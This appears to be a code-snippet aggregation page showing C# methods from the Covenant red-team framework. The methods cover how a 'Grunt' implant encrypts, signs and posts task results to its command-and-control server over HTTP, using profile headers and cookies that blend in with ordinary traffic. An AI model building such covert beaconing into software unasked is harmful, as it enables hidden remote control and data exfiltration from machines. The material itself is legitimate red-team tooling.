Exemple #1
0
        public string PostMessage(string message, string meta, GruntEncryptedMessageType messageType = GruntEncryptedMessageType.PostTask)
        {
            string path = this.ProfileHttpUrls[Random.Next(this.ProfileHttpUrls.Count)];
            GruntEncryptedMessage postMessage = this.Create(Common.GruntEncoding.GetBytes(message), meta, messageType);

            this.CovenantClient.Headers.Clear();
            for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
            {
                this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
            }
            if (this.CookieAuthKey != "")
            {
                this.CovenantClient.Headers.Set(HttpRequestHeader.Cookie, this.ProfileHttpCookies[Random.Next(this.ProfileHttpCookies.Count)] + "=" + this.CookieAuthKey);
            }
            string messageString      = GruntEncryptedMessage.ToJson(postMessage);
            string transformedMessage = Utilities.HttpMessageTransform.Transform(Common.GruntEncoding.GetBytes(messageString));
            string data     = String.Format(this.ProfileHttpPostRequest, transformedMessage);
            string response = CovenantClient.UploadString(this.CovenantURI + path, data);

            if (response.Length < 3)
            {
                return("");
            }

            string extracted       = Utilities.Parse(response, this.ProfileHttpPostResponse)[0];
            string invertedMessage = Common.GruntEncoding.GetString(Utilities.HttpMessageTransform.Invert(extracted));
            GruntEncryptedMessage responseMessage = GruntEncryptedMessage.FromJson(invertedMessage);

            if (!responseMessage.VerifyHMAC(SessionKey.Key))
            {
                throw new GruntHMACVerifyException();
            }
            return(Common.GruntEncoding.GetString(Utilities.AesDecrypt(responseMessage, SessionKey.Key)));
        }
 public static GruntEncryptedMessage Create(Grunt grunt, byte[] message, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking)
 {
     if (grunt.Status == GruntStatus.Uninitialized || grunt.Status == GruntStatus.Stage0)
     {
         return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntSharedSecretPassword), Type));
     }
     return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntNegotiatedSessionKey), Type));
 }
Exemple #3
0
        public GruntEncryptedMessage Create(byte[] message, string meta, GruntEncryptedMessageType type = GruntEncryptedMessageType.PostTask)
        {
            byte[] encryptedMessagePacket = Utilities.AesEncrypt(message, SessionKey.Key);
            byte[] encryptionIV           = new byte[Common.AesIVLength];
            Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength);
            byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength];
            Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength);

            byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key);
            return(new GruntEncryptedMessage
            {
                Id = GruntId,
                Name = GruntName,
                Type = type,
                Meta = meta,
                EncryptedMessage = Convert.ToBase64String(encryptedMessage),
                IV = Convert.ToBase64String(encryptionIV),
                HMAC = Convert.ToBase64String(hmac)
            });
        }
Exemple #4
0
 private static GruntEncryptedMessage Create(string GUID, byte[] message, byte[] key, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking)
 {
     byte[] encryptedMessagePacket = EncryptUtilities.AesEncrypt(message, key);
     byte[] encryptionIV           = encryptedMessagePacket.Take(Common.AesIVLength).ToArray();
     byte[] encryptedMessage       = encryptedMessagePacket.TakeLast(encryptedMessagePacket.Length - Common.AesIVLength).ToArray();
     byte[] hmac = EncryptUtilities.ComputeHMAC(encryptedMessage, key);
     return(new GruntEncryptedMessage
     {
         GUID = GUID,
         Type = Type,
         EncryptedMessage = Convert.ToBase64String(encryptedMessage),
         IV = Convert.ToBase64String(encryptionIV),
         HMAC = Convert.ToBase64String(hmac)
     });
 }